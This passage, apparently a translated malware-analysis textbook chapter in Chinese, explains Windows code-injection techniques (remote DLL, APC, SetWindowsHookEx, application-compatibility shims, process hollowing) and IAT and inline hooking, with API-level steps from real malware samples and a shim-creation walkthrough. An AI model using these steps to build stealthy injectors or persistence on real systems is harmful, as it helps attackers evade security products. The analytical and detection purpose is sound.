  • 将代码注入到受信任的进程中,可以让攻击者绕过安全产品(如白名单软件)并隐藏自己。

在本节中,我们将主要关注用户空间中的代码注入技术。我们将探讨攻击者用来将代码注入远程进程的各种方法。

在以下代码注入技术中,有一个恶意进程(启动器加载器)用于注入代码,另一个合法进程(如explorer.exe)则是代码将被注入的目标进程。在执行代码注入之前,启动器需要首先识别要注入代码的进程。这通常通过枚举系统中运行的进程来实现;它使用三个 API 调用:CreateToolhelp32Snapshot()Process32First()Process32Next()CreateToolhelp32Snapshot() 用于获取所有运行中的进程的快照;Process32First() 获取快照中第一个进程的信息;Process32Next() 在循环中用于遍历所有进程。Process32First()Process32Next() APIs 获取进程的相关信息,如可执行文件名、进程 ID 和父进程 ID;这些信息可供恶意软件判断是否是目标进程。有时,恶意程序会选择启动一个新进程(如 notepad.exe),然后将代码注入到该进程中,而不是注入到已运行的进程。

无论恶意软件是将代码注入到已在运行的进程中,还是启动一个新进程来注入代码,所有代码注入技术(接下来会介绍)的目标都是将恶意代码(可以是 DLL、可执行文件或 Shellcode)注入到目标(合法)进程的地址空间,并迫使合法进程执行注入的代码。根据代码注入技术,待注入的恶意组件可以存储在磁盘上或内存中。以下图示应能为您提供一个关于用户空间代码注入技术的高层次概览:

3.1 远程 DLL 注入

在此技术中,目标(远程)进程被强制通过LoadLibrary() API 将一个恶意 DLL 加载到其进程内存空间中。kernel32.dll 导出 LoadLibrary(),此函数接受一个参数,即磁盘上 DLL 的路径,并将该 DLL 加载到调用进程的地址空间中。在这种注入技术中,恶意软件进程在目标进程中创建一个线程,并使该线程调用 LoadLibrary(),通过传递恶意 DLL 路径作为参数。由于线程是在目标进程中创建的,目标进程将恶意 DLL 加载到其地址空间中。一旦目标进程加载了恶意 DLL,操作系统会自动调用该 DLL 的 DllMain() 函数,从而执行恶意代码。

以下步骤详细描述了如何执行该技术,并以名为nps.exe(加载器或启动器)的恶意软件为例,通过LoadLibrary()将 DLL 注入到合法的 explorer.exe 进程中。在注入恶意 DLL 组件之前,它会被写入磁盘,然后执行以下步骤:

  1. 恶意软件进程(nps.exe)识别目标进程(在此案例中为explorer.exe)并获取其进程 ID(pid)。获取 pid 的目的是打开一个目标进程的句柄,以便恶意软件进程能够与其交互。为了打开句柄,使用OpenProcess() API,其中一个接受的参数是进程的 pid。在下面的截图中,恶意软件通过将 explorer.exe 的 pid(0x624,即1572)作为第三个参数来调用OpenProcess()OpenProcess()的返回值是指向explorer.exe进程的句柄:

  1. 恶意软件进程接着使用VirutualAllocEx() API 在目标进程中分配内存。在下面的截图中,第一个参数(0x30)是explorer.exe(目标进程)的句柄,它是从前一步获取的。第三个参数,0x27 (39),表示在目标进程中要分配的字节数,第五个参数(0x4)是常量值,表示 PAGE_READWRITE 内存保护。VirtualAllocEx() 的返回值是 explorer.exe 中分配内存的地址:

  1. 在目标进程中分配内存的原因是为了复制一个字符串,该字符串标识磁盘上恶意 DLL 的完整路径。恶意软件使用 WriteProcessMemory() 将 DLL 路径名复制到目标进程中分配的内存。在下面的截图中,第 2 个参数 0x01E30000 是目标进程中分配内存的地址,第 3 个参数是将写入目标内存地址 0x01E30000 中的 DLL 完整路径,该路径将写入 explorer.exe 中:

  1. 将 DLL 路径名复制到目标进程内存中的想法是,稍后,当在目标进程中创建远程线程并通过远程线程调用 LoadLibrary() 时,DLL 路径将作为参数传递给 LoadLibrary()。在创建远程线程之前,恶意软件必须确定 LoadLibrary()kernel32.dll 中的地址;为此,它调用 GetModuleHandleA() API,并将 kernel32.dll 作为参数传递,该函数将返回 Kernel32.dll 的基地址。一旦获得 kernel32.dll 的基地址,它通过调用 GetProcessAddress() 确定 LoadLibrary() 的地址。

  2. 此时,恶意软件已将 DLL 路径名复制到目标进程的内存中,并且已确定 LoadLibrary() 的地址。接下来,恶意软件需要在目标进程(explorer.exe)中创建一个线程,并且该线程必须通过传递已复制的 DLL 路径名来执行 LoadLibrary(),以便 explorer.exe 加载恶意 DLL。为此,恶意软件调用 CreateRemoteThread()(或未文档化的 API NtCreateThreadEx()),该 API 会在目标进程中创建一个线程。在下面的截图中,CreateRemoteThread() 的第 1 个参数 0x30explorer.exe 进程的句柄,在此进程中将创建该线程。第 4 个参数是目标进程内存中线程将开始执行的地址,即 LoadLibrary() 的地址,第 5 个参数是目标进程内存中包含 DLL 完整路径的地址。调用 CreateRemoteThread() 后,在 explorer.exe 中创建的线程将调用 LoadLibrary(),从磁盘加载 DLL 到 explorer.exe 的进程内存空间中。由于加载了恶意 DLL,其 DLLMain() 函数会自动被调用,从而在 explorer.exe 上下文中执行恶意代码:

  1. 注入完成后,恶意软件调用 VirtualFree() API 释放包含 DLL 路径的内存,并使用 CloseHandle() API 关闭对目标进程(explorer.exe)的句柄。

恶意进程可以将代码注入到与其具有相同或更低完整性级别的其他进程中。例如,一个具有中等完整性级别的恶意进程可以将代码注入到同样具有中等完整性级别的 explorer.exe 进程中。要操控系统级进程,恶意进程需要通过调用 AdjustTokenPrivileges() 启用 SE_DEBUG_PRIVILEGE(这需要管理员权限);这样它就可以读取、写入或将代码注入到另一个进程的内存中。

3.2 使用 APC 进行 DLL 注入(APC 注入)

在前述技术中,写入 DLL 路径名后,调用 CreateRemoteThread() 创建目标进程中的线程,该线程进而调用 LoadLibrary() 来加载恶意 DLL。APC 注入 技术与远程 DLL 注入类似,但不同的是,恶意软件利用 异步过程调用(APC) 来强制目标进程的线程加载恶意 DLL,而不是使用 CreateRemoteThread()

APC 是在特定线程的上下文中异步执行的一个函数。每个线程都有一个 APC 队列,当目标线程进入可警报状态时,队列中的 APC 将会被执行。根据微软文档(msdn.microsoft.com/en-us/library/windows/desktop/ms681951(v=vs.85).aspx),线程会在调用以下函数之一时进入可警报状态:

SleepEx(), 
SignalObjectAndWait()
MsgWaitForMultipleObjectsEx()
WaitForMultipleObjectsEx()
WaitForSingleObjectEx()

APC 注入技术的工作原理是,恶意软件进程识别目标进程中处于可警报状态或可能进入可警报状态的线程。然后,它使用 QueueUserAPC() 函数将自定义代码放入该线程的 APC 队列中。排队自定义代码的目的是,当线程进入可警报状态时,线程会从 APC 队列中获取并执行该代码。

以下步骤描述了一个恶意软件样本,通过 APC 注入技术将恶意 DLL 加载到 Internet Explorer (iexplore.exe) 进程中。这项技术与远程 DLL 注入的四个步骤相同(换句话说,它打开了 iexplore.exe 的句柄,在目标进程中分配内存,将恶意 DLL 的路径名复制到分配的内存中,并确定 Loadlibrary() 的地址)。接下来,按照以下步骤强制远程线程加载恶意 DLL:

  1. 它使用 OpenThread() API 打开目标进程线程的句柄。在以下截图中,第三个参数 0xBEC(3052)iexplore.exe 进程的线程 ID (TID)。OpenThread() 的返回值是 iexplore.exe 线程的句柄:

  1. 恶意程序接着调用 QueueUserAPC() 将 APC 函数排入 Internet Explorer 线程的 APC 队列。在下图中,QueueUserAPC() 的第 1 个参数是指向恶意程序希望目标线程执行的 APC 函数的指针。在此案例中,APC 函数是之前确定的 LoadLibrary() 地址。第 2 个参数 0x22ciexplore.exe 目标线程的句柄。第 3 个参数 0x2270000 是目标进程(iexplore.exe)内存中包含恶意 DLL 完整路径的地址;当线程执行该 APC 函数时,这个参数会自动作为参数传递给 APC 函数(LoadLibrary()):

下图显示了 Internet Explorer 进程内存中地址 0x2270000 的内容(这是作为第 3 个参数传递给 QueueUserAPC() 的地址);该地址包含恶意软件之前写入的 DLL 的完整路径:

到此为止,注入过程已经完成,当目标进程的线程进入可警报状态时,线程会从 APC 队列中执行 LoadLibrary(),并将 DLL 的完整路径作为参数传递给 LoadLibrary()。结果,恶意 DLL 被加载到目标进程的地址空间,从而调用包含恶意代码的 DLLMain() 函数。

3.3 使用 SetWindowsHookEx() 进行 DLL 注入

在上一章中(请参阅 第 1.3.2 节,使用 SetWindowsHookEx 的键盘记录器),我们研究了恶意软件如何使用 SetWindowsHookEx() API 安装 钩子过程 来监控键盘事件。SetWindowsHookEx() API 还可以用来将 DLL 加载到目标进程的地址空间并执行恶意代码。为了做到这一点,恶意软件首先将恶意 DLL 加载到自身的地址空间中。接着,它为特定事件(如 键盘鼠标事件)安装一个 钩子过程(由恶意 DLL 导出的函数),并将该事件与目标进程的线程(或当前桌面上的所有线程)关联。其原理是,当某个特定事件被触发时,目标进程的线程会调用安装的钩子过程。为了调用 DLL 中定义的钩子过程,必须将 DLL(包含钩子过程)加载到目标进程的地址空间中。

换句话说,攻击者创建一个包含导出函数的 DLL。包含恶意代码的导出函数被设置为特定事件的钩子程序。钩子程序与目标进程的一个线程相关联,当事件触发时,攻击者的 DLL 被加载到目标进程的地址空间,钩子程序由目标进程的线程调用,从而执行恶意代码。恶意软件可以为任何类型的事件设置钩子,只要该事件有可能发生。关键点在于,DLL 被加载到目标进程的地址空间并执行恶意行为。

以下描述了恶意软件样本(Trojan Padador)加载其 DLL 到远程进程的地址空间并执行恶意代码的步骤:

  1. 恶意软件执行文件将一个名为tckdll.dll的 DLL 文件放置到磁盘上。该 DLL 包含一个入口点函数和一个名为TRAINER的导出函数,如下所示。DLL 入口点函数的作用不大,而TRAINER函数包含恶意代码。这意味着每当加载 DLL 时(其入口点函数被调用),恶意代码不会执行;只有当调用TRAINER函数时,恶意行为才会被触发:

  1. 恶意软件通过LoadLibrary() API 将 DLL(tckdll.dll)加载到自己的地址空间,但此时并未执行任何恶意代码。LoadLibrary()的返回值是已加载模块(tckdll.dll)的句柄。接着,它使用GetProcAddress()来确定TRAINER函数的地址:

  1. 恶意软件使用tckdll.dll的句柄和TRAINER函数的地址来为键盘事件注册一个钩子程序。在下面的截图中,第一个参数WH_KEYBOARD(常量值2)指定了触发钩子程序的事件类型。第二个参数是钩子程序的地址,即前一步确定的TRAINER函数的地址。第三个参数是tckdll.dll的句柄,它包含钩子程序。第四个参数0指定钩子程序必须与当前桌面上的所有线程相关联。恶意软件也可以选择通过提供线程 ID 来将钩子程序与特定线程关联,而不是将其与所有桌面线程关联:

执行上述步骤后,当应用程序内触发键盘事件时,该应用程序将加载恶意 DLL 并调用TRAINER函数。例如,当你启动记事本并输入一些字符(触发键盘事件)时,tckdll.dll将被加载到记事本的地址空间中,并调用TRAINER函数,迫使notepad.exe进程执行恶意代码。

3.4 使用应用程序兼容性补丁的 DLL 注入

微软 Windows 应用程序兼容性框架/基础结构(应用程序补丁) 是一项功能,允许为旧版本操作系统(如 Windows XP)创建的程序在现代操作系统版本(如 Windows 7 或 Windows 10)上运行。这是通过 应用程序兼容性修复补丁)来实现的。补丁由微软提供给开发者,以便他们可以在不重写代码的情况下修复程序。当补丁应用到程序时,并且当被补丁处理的程序执行时,补丁引擎会将补丁程序的 API 调用重定向到补丁代码;这是通过将 IAT 中的指针替换为补丁代码的地址来完成的。应用程序如何使用 IAT 的详细信息在 2.1* Windows API 调用流程* 小节中已有说明。换句话说,它挂钩 Windows API,将调用重定向到补丁代码,而不是直接在 DLL 中调用 API。由于 API 重定向,补丁代码可以修改传递给 API 的参数、重定向 API,或修改来自 Windows 操作系统的响应。下图应该有助于你理解 Windows 操作系统中普通应用程序与补丁应用程序交互的差异:

为了帮助你理解补丁的功能,我们来看一个例子。假设在几年前(Windows 7 发布之前),你编写了一个应用程序(xyz.exe),在执行某些有用操作之前,会检查操作系统版本。假设你的应用程序通过调用 kernel32.dll 中的 GetVersion() API 来确定操作系统版本。简而言之,只有在操作系统版本为 Windows XP 时,应用程序才会执行某些有用的操作。现在,如果你将这个应用程序(xyz.exe)在 Windows 7 上运行,它将不会做任何有用的事情,因为 GetVersion() 返回的 Windows 7 操作系统版本与 Windows XP 不匹配。为了使该应用程序在 Windows 7 上正常运行,你可以修复代码并重新编译程序,或者你可以对该应用程序(xyz.exe)应用一个名为 WinXPVersionLie 的补丁。

在应用补丁后,当补丁应用程序(xyz.exe)在 Windows 7 上执行,并尝试通过调用 GetVersion() 来确定操作系统版本时,补丁引擎会拦截并返回一个不同版本的 Windows(Windows XP,而非 Windows 7)。具体来说,当补丁应用程序执行时,补丁引擎会修改 IAT(导入地址表),并将 GetVersion() API 调用重定向到补丁代码(而非 kernel32.dll)。换句话说,WinXPVersionLie 补丁通过欺骗应用程序,使其认为自己运行在 Windows XP 上,而无需修改应用程序中的代码。

要了解 shim 引擎的详细信息,请参考 Alex Ionescu 的博客文章,应用程序兼容性数据库(SDB)的秘密,网址为 www.alex-ionescu.com/?p=39

微软提供了数百个 shim(如 WinXPVersionLie),可以应用于应用程序以改变其行为。这些 shim 中有一些被攻击者滥用,用于实现持久化、注入代码以及以提升的权限执行恶意代码。

3.4.1 创建一个 Shim

有许多 shim 可以被攻击者滥用以进行恶意操作。在这一部分,我将带你了解创建一个 shim 以注入 DLL 到目标进程的过程;这将帮助你理解攻击者如何轻松地创建一个 shim 并滥用此功能。在这个案例中,我们将为 notepad.exe 创建一个 shim,使它加载我们选择的 DLL。为应用程序创建一个 shim 可以分为四个步骤:

  • 选择要 shim 的应用程序。

  • 为应用程序创建 shim 数据库。

  • 保存数据库(.sdb 文件)。

  • 安装数据库。

要创建和安装一个 shim,你需要具有管理员权限。你可以使用微软提供的工具,应用程序兼容性工具包(ACT),来执行所有上述步骤。对于 Windows 7,可以从 www.microsoft.com/en-us/download/details.aspx?id=7352 下载;对于 Windows 10,它与 Windows ADK 捆绑在一起;根据版本,下载地址为 developer.microsoft.com/en-us/windows/hardware/windows-assessment-deployment-kit。在 64 位版本的 Windows 上,ACT 会安装两个版本的 兼容性管理员工具(32 位和 64 位)。要对 32 位程序进行 shim 操作,必须使用 32 位版本的兼容性管理员工具;要对 64 位程序进行 shim 操作,则使用 64 位版本。

为了演示这一概念,我将使用 32 位版本的 Windows 7,选择的目标进程是 notepad.exe。我们将创建一个 InjectDll shim,使得 notepad.exe 加载一个名为 abcd.dll 的 DLL。要创建一个 shim,请从开始菜单启动兼容性管理员工具(32 位),然后右键点击“新建数据库 | 应用程序修复”。

在以下对话框中,输入你想要 shim 的应用程序的详细信息。程序名称和厂商名称可以随意设置,但程序文件的位置必须正确。

在你按下“下一步”按钮后,会出现一个兼容性模式对话框;你可以直接按“下一步”按钮。在下一个窗口中,会出现一个兼容性修复(Shim)对话框;在这里,你可以选择各种 shim。在此案例中,我们关注的是InjectDll shim。选择InjectDll shim 复选框,然后点击“参数”按钮并输入 DLL 的路径(这是我们希望记事本加载的 DLL),如下所示。点击“确定”并按“下一步”按钮。需要注意的一点是,InjectDll shim 选项仅在 32 位兼容性管理员工具中可用,这意味着你只能将这个 shim 应用于 32 位进程:

接下来,你将看到一个屏幕,指定哪些属性将用于匹配程序(记事本)。当notepad.exe运行时,选定的属性将被匹配,当匹配条件满足后,shim 将被应用。为了使匹配标准不那么严格,我取消了所有选项,如下所示:

点击“完成”后,你将看到应用程序及其应用的修复程序的完整摘要,如下所示。此时,包含notepad.exe的 shim 信息的 shim 数据库已创建:

下一步是保存数据库;为此,点击“保存”按钮,并在提示时给你的数据库命名并保存文件。在此案例中,数据库文件保存为notepad.sdb(你可以选择任何文件名)。

数据库文件保存后,下一步是安装数据库。你可以通过右键单击已保存的 shim 并点击“安装”按钮来安装它,如下所示:

另一种安装数据库的方法是使用内置的命令行工具sdbinst.exe;你可以通过以下命令安装数据库:

sdbinst.exe notepad.sdb

现在,如果你调用notepad.exeabcd.dll将从c:\test目录加载到记事本的进程地址空间中,如下所示:

3.4.2 Shim 工件

此时,你已经了解了如何使用 shim 将 DLL 加载到目标进程的地址空间。在我们讨论攻击者如何使用 shim 之前,首先必须了解安装 shim 数据库时会创建哪些工件(无论是通过右键单击数据库并选择“安装”,还是使用sdbinst.exe工具)。当你安装数据库时,安装程序会为数据库创建一个 GUID,并将 .sdb 文件复制到%SystemRoot%\AppPatch\Custom\<GUID>.sdb(32 位 shim)或%SystemRoot%\AppPatch\Custom\Custom64\<GUID>.sdb(64 位 shim)。它还会在以下注册表项中创建两个注册表项:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB\

以下截图显示了在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\ 中创建的注册表项。此注册表项包含应用 shim 的程序名称以及关联的 shim 数据库文件(<GUID>.sdb):

第二个注册表项,HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB\,包含数据库信息和 shim 数据库文件的安装路径:

这些工件的创建目的是,当应用了 shim 的应用程序执行时,加载器会通过查阅这些注册表项来判断应用是否需要被 shim,并调用 shim 引擎,该引擎将使用位于 AppPatch\ 目录中的 .sdb 文件配置来 shim 应用程序。另一个结果是,安装 shim 数据库时会将条目添加到 控制面板 中的 已安装程序 列表中。

3.4.3 攻击者如何使用 Shim

以下步骤描述了攻击者如何将一个应用程序应用 shim 并将其安装到受害者系统上的方式:

  • 攻击者为目标应用程序(如 notepad.exe 或受害者常用的任何合法第三方应用程序)创建 应用程序兼容性数据库(shim 数据库)。攻击者可以选择一个单独的 shim,例如 InjectDll,或多个 shim。

  • 攻击者保存为目标应用程序创建的 shim 数据库(.sdb 文件)。

  • .sdb 文件被传送并丢弃在受害者系统上(通常通过恶意软件),并且它被安装,通常使用 sdbinst 工具。

  • 攻击者调用目标应用程序或等待用户执行目标应用程序。

  • 攻击者还可以删除安装 shim 数据库的恶意软件。在这种情况下,你只剩下 .sdb 文件。

攻击者可以通过将 .sdb 文件丢到文件系统的某个位置并修改最小的注册表项集合来安装 shim 数据库。这种方法避免了使用 sdbinst 工具。shim_persist 对象(github.com/hasherezade/persistence_demos/tree/master/shim_persist)是由安全研究员 Hasherezade(@hasherezade)编写的一个 POC,旨在将 DLL 丢入 programdata 目录并安装 shim,而无需使用 sdbinst 工具,将丢弃的 DLL 注入 explorer.exe 进程。

恶意软件作者已将 shim 滥用用于不同的目的,例如实现持久性、代码注入、禁用安全功能、以提升的权限执行代码,以及绕过 用户帐户控制 (UAC) 提示。下表概述了部分有趣的 shim 及其描述:

Shim 名称 描述
RedirectEXE 重定向执行
InjectDll 将 DLL 注入应用程序
DisableNXShowUI 禁用数据执行防护DEP
CorrectFilePaths 重定向文件系统路径
VirtualRegistry 注册表重定向
RelaunchElevated 以提升的权限重新启动应用程序
TerminateExe 启动时终止可执行文件
DisableWindowsDefender 禁用 Windows Defender 服务以供应用程序使用
RunAsAdmin 标记应用程序以管理员权限运行

欲了解有关 shim 如何在攻击中使用的更多信息,请参考安全研究人员在各大会议上发布的演讲,所有这些演讲均可在sdb.tools/talks.html找到。

3.4.4 分析 Shim 数据库

要为应用程序安装 shim,攻击者会在受害者的文件系统中某个位置安装 shim 数据库(.sdb)。假设你已识别出在恶意活动中使用的 .sdb 文件,你可以使用如sdb-explorergithub.com/evil-e/sdb-explorer)或python-sdbgithub.com/williballenthin/python-sdb)等工具来调查该 .sdb 文件。

在下面的示例中,使用了python-sdb工具来调查我们之前创建的 shim 数据库(.sdb)文件。运行python-sdb工具查看 shim 数据库时,将显示其元素,如下所示:

$ python sdb_dump_database.py notepad.sdb
<DATABASE>
   <TIME type='integer'>0x1d3928964805b25</TIME>
   <COMPILER_VERSION type='stringref'>2.1.0.3</COMPILER_VERSION>
   <NAME type='stringref'>notepad</NAME>
   <OS_PLATFORM type='integer'>0x1</OS_PLATFORM>
   <DATABASE_ID type='guid'>ed41a297-9606-4f22-93f5-b37a9817a735</DATABASE_ID>
   <LIBRARY>
   </LIBRARY>
   <EXE>
     <NAME type='stringref'>notepad.exe</NAME>
     <APP_NAME type='stringref'>notepad</APP_NAME>
     <VENDOR type='stringref'>&lt;Unknown&gt;</VENDOR>
     <EXE_ID type='hex'>a65e89a9-1862-4886-b882-cb9b888b943c</EXE_ID>
     <MATCHING_FILE>
       <NAME type='stringref'>*</NAME>
     </MATCHING_FILE>
     <SHIM_REF>
       <NAME type='stringref'>InjectDll</NAME>
       <COMMAND_LINE type='stringref'>c:\test\abcd.dll</COMMAND_LINE>
     </SHIM_REF>
   </EXE>
</DATABASE>

在一次攻击中,dridex 恶意软件使用了RedirectEXE shim 来绕过 UAC。它安装了 shim 数据库,并在提升权限后立即删除了该数据库。有关详细信息,请参阅博客文章:blog.jpcert.or.jp/2015/02/a-new-uac-bypass-method-that-dridex-uses.html

3.5 远程可执行文件/恶意代码注入

在此技术中,恶意代码直接注入到目标进程内存中,而无需将组件写入磁盘。恶意代码可以是shellcode可执行文件,其导入地址表已为目标进程配置。通过使用CreateRemoteThread()创建远程线程来强制执行注入的恶意代码,并且线程的起始位置指向注入代码块中的代码/函数。这种方法的优点是恶意软件进程无需将恶意 DLL 写入磁盘;它可以从二进制文件的资源区提取代码进行注入,或者通过网络获取代码并直接进行代码注入。

以下步骤描述了如何执行此技术,以一个名为nsasr.exeW32/Fujack)的恶意软件样本为例,该恶意软件将可执行文件注入到 Internet Explorer(iexplorer.exe)进程中:

  1. 恶意软件进程(nsasr.exe)使用OpenProcess() API 打开 Internet Explorer 进程(iexplore.exe)的句柄。

  2. 使用VirutualAllocEx()在目标进程(iexplore.exe)中的特定地址0x13150000分配内存,使用PAGE_EXECUTE_READWRITE保护,而不是PAGE_READWRITE(与远程 DLL 注入技术相比,在第 3.1 节中介绍)。保护PAGE_EXECUTE_READWRITE允许恶意软件进程(nsasr.exe)将代码写入目标进程,并且在写入代码后,此保护允许目标进程(iexplore.exe)从此内存中读取和执行代码。

  3. 然后,使用WriteProcessMemory()将恶意可执行内容写入前一步分配的内存中。在下面的截图中,第 1 个参数0xD4是指向iexplore.exe的句柄。第 2 个参数0x13150000是目标进程(iexplore.exe)内存中将要写入内容的地址。第 3 个参数0x13150000是恶意软件(nsasr.exe)进程内存中的缓冲区;该缓冲区包含将要写入目标进程内存的可执行内容:

  1. 在恶意可执行内容(在地址0x13150000处)写入iexplore.exe进程内存后,调用CreateRemoteThread() API 创建一个远程线程,并使线程的起始地址指向注入可执行文件的入口点地址。在下面的截图中,第 4 个参数0x13152500指定了目标进程(iexplore.exe)内存中线程将开始执行的地址;这是注入可执行文件的入口点地址。此时,注入完成,iexplore.exe进程中的线程开始执行恶意代码:

反射式 DLL 注入是一种类似于远程可执行代码/ShellCode 注入的技术。在这种方法中,直接注入包含反射式加载器组件的 DLL,并使目标进程调用负责解析导入项、将其重定位到适当内存位置并调用DllMain()函数的反射式加载器组件。这种技术的优点在于它不依赖于LoadLibrary()函数来加载 DLL。由于LoadLibrary()只能从磁盘加载库,因此注入的 DLL 无需驻留在磁盘上。有关此技术的更多信息,请参考 Stephen Fewer 的反射式 DLL 注入,网址为github.com/stephenfewer/ReflectiveDLLInjection

3.6 空洞进程注入(进程空洞化)

进程空壳,或空壳进程注入,是一种代码注入技术,其中内存中合法进程的可执行部分被恶意可执行文件替换。这项技术使攻击者能够将恶意软件伪装成合法进程并执行恶意代码。该技术的优点是,被空壳的进程路径仍然指向合法路径,并且通过在合法进程的上下文中执行,恶意软件可以绕过防火墙和主机入侵防御系统。例如,如果svchost.exe进程被空壳,路径仍然指向合法的可执行文件路径(C:\Windows\system32\svchost.exe 但在内存中,svchost.exe的可执行部分已被恶意代码替换;这使得攻击者能够避免被实时取证工具检测到。

以下步骤描述了恶意软件样本(Skeeyah)执行的空壳进程注入过程。在以下描述中,恶意软件进程会从其资源区中提取要注入的恶意可执行文件,然后执行这些步骤:

  1. 恶意软件进程以挂起模式启动一个合法进程。结果,合法进程的可执行部分被加载到内存中,内存中的进程环境块(PEB)结构标识了合法进程的完整路径。PEB 的ImageBaseAddressPeb.ImageBaseAddress)字段包含合法进程可执行文件加载的地址。在以下截图中,恶意软件以挂起模式启动合法的svchost.exe进程,在这种情况下,svchost.exe被加载到地址0x01000000

  1. 恶意软件确定PEB结构的地址,以便读取PEB.ImageBaseAddress字段来确定进程可执行文件的基址(svchost.exe)。为了确定PEB结构的地址,恶意软件调用GetThreadContext()GetThreadContext()用于检索指定线程的上下文,接受两个参数:第一个参数是线程的句柄,第二个参数是指向名为CONTEXT的结构的指针 在此情况下,恶意软件将挂起线程的句柄作为第一个参数传递给GetThreadContext(),并将CONTEXT结构的指针作为第二个参数传递。此 API 调用后,CONTEXT结构会填充挂起线程的上下文。此结构包含挂起线程的寄存器状态。然后,恶意软件读取CONTEXT._Ebx字段,该字段包含指向PEB数据结构的指针。一旦确定了PEB的地址,恶意软件就读取PEB.ImageBaseAddress来确定进程可执行文件的基地址(换句话说,0x01000000):

确定 PEB 指针的另一种方法是使用NtQueryInformationProcess()函数;有关详细信息,请访问msdn.microsoft.com/en-us/library/windows/desktop/ms684280(v=vs.85).aspx

  1. 一旦确定了内存中要操作的目标进程可执行文件的地址,就使用NtUnMapViewofSection() API 释放合法进程(svchost.exe)的可执行部分。在下面的截图中,第一个参数是指向svchost.exe进程的句柄(0x34),第二个参数是要释放的进程可执行文件的基本地址(0x01000000):

  1. 在进程可执行部分被挖空后,在合法进程(svchost.exe)中分配一个具有读取写入执行权限的新内存段。新的内存段可以分配在相同的地址(在进程被挖空之前的位置)或不同的区域。在下面的截图中,恶意软件使用VirutalAllocEX()在不同的区域(在本例中为0x00400000)中分配内存:

  1. 然后使用WriteProcessMemory()将恶意可执行文件及其各个部分复制到新分配的内存地址0x00400000

  1. 然后,恶意软件将合法进程的PEB.ImageBaseAdress覆盖为新分配的地址。下面的截图显示了恶意软件使用新地址(0x00400000)覆盖svchost.exePEB.ImageBaseAdress;这将使PEBsvchost.exe的基本地址从0x1000000更改为0x00400000(此地址现在包含注入的可执行文件):

  1. 然后恶意软件将悬停线程的起始地址更改为注入可执行文件的入口点地址。这是通过设置CONTEXT._Eax值并调用SetThreadContext()来实现的。此时,悬停进程的线程指向注入代码。然后使用ResumeThread()恢复已悬停的线程。之后,恢复的线程开始执行注入的代码:

恶意软件进程可能只使用NtMapViewSection()来避免使用VirtualAllocEX()WriteProcessMemory()将恶意可执行内容写入目标进程;这样,恶意软件可以将包含恶意可执行文件的内存段从其自身地址空间映射到目标进程的地址空间。除了前面描述的技术,攻击者还被发现使用不同变种的空洞进程注入技术。为了更好理解这一点,可以观看作者在黑帽大会上的演讲,链接为www.youtube.com/watch?v=9L9I1T5QDg4,或者阅读相关博客文章:cysinfo.com/detecting-deceptive-hollowing-techniques/

4. 钩子技术

到目前为止,我们已经介绍了不同的代码注入技术来执行恶意代码。攻击者将代码(主要是 DLL,但也可以是可执行文件或 Shellcode)注入到合法(目标)进程中的另一个原因是钩取目标进程发出的 API 调用。一旦代码注入到目标进程,它就可以完全访问进程内存,并修改其组件。能够修改进程内存组件使得攻击者可以替换 IAT 中的条目,或者修改 API 函数本身;这种技术被称为钩子技术。通过钩取 API,攻击者可以控制程序的执行路径,并将其重定向到他选择的恶意代码。然后,恶意函数可以:

  • 阻止合法应用程序(如安全产品)对 API 的调用。

  • 监视并拦截传递给 API 的输入参数。

  • 过滤 API 返回的输出参数。

在本节中,我们将介绍不同类型的钩子技术。

4.1 IAT 钩子

如前所述,IAT(导入地址表)包含应用程序从 DLL 导入的函数地址。在此技术中,DLL 注入到目标(合法)进程后,注入的 DLL 中的代码(Dllmain()函数)会钩取目标进程中的 IAT 条目。以下是执行此类型钩子的步骤概述:

  • 通过解析内存中的可执行镜像来定位 IAT。

  • 确定要钩取的函数入口。

  • 用恶意函数的地址替换函数的地址。

为了帮助理解,我们来看一个例子:一个合法程序通过调用DeleteFileA() API 删除文件。DeleteFileA()对象接受一个参数,即要删除的文件名。以下截图显示了合法进程(钩取之前),正常咨询 IAT 以确定DeleteFileA()的地址,然后调用DeleteFileA(),它位于kernel32.dll中:

当程序的 IAT 被挂钩时,IAT 中 DeleteFileA() 的地址被替换为恶意函数的地址,如下所示。现在,当合法程序调用 DeleteFileA() 时,调用将被重定向到恶意模块中的恶意函数。然后,恶意函数调用原始的 DeleteFileA() 函数,使一切看起来正常。中间的恶意函数可以阻止合法程序删除文件,或者监视参数(正在被删除的文件),然后采取一些行动:

除了阻止和监视之外,通常在调用原始函数之前发生,恶意函数还可以过滤输出参数,这发生在重新调用之后。这样,恶意软件可以挂钩显示进程、文件、驱动程序、网络端口等列表的 API,并过滤输出以隐藏不希望被使用这些 API 函数的工具发现。

使用这种技术的攻击者的劣势在于,如果程序使用运行时链接,或者攻击者希望挂钩的函数已被导入为序数,则此技术无法使用。攻击者的另一个劣势是,IAT hooking 可以很容易被检测到。在正常情况下,IAT 中的条目应该位于其对应模块的地址范围内。例如,DeleteFile() 的地址应该在 kernel32.dll 的地址范围内。为了检测这种挂钩技术,安全产品可以识别在超出模块地址范围之外的 IAT 中的条目。在 64 位 Windows 上,一种名为PatchGuard的技术防止对调用表进行打补丁,包括 IAT。由于这些问题,恶意软件作者使用了略有不同的挂钩技术,下面将讨论。

4.2 内联挂钩(内联打补丁)

IAT hooking 依赖于交换函数指针,而内联挂钩中,API 函数本身被修改(打补丁)以将 API 重定向到恶意代码。与 IAT hooking 类似,这种技术允许攻击者拦截、监视和阻止特定应用程序发出的调用,并过滤输出参数。在内联挂钩中,目标 API 函数的前几个字节(指令)通常被覆盖为一个跳转语句,将程序控制重新路由到恶意代码。然后,恶意代码可以拦截输入参数,过滤输出,并将控制重新定向回原始函数。

为了帮助您理解,假设一个攻击者想要挂钩合法应用程序调用的 DeleteFileA() 函数。通常,当合法应用程序的线程遇到对 DeleteFileA() 的调用时,线程从 DeleteFileA() 函数的开头开始执行,如下所示:

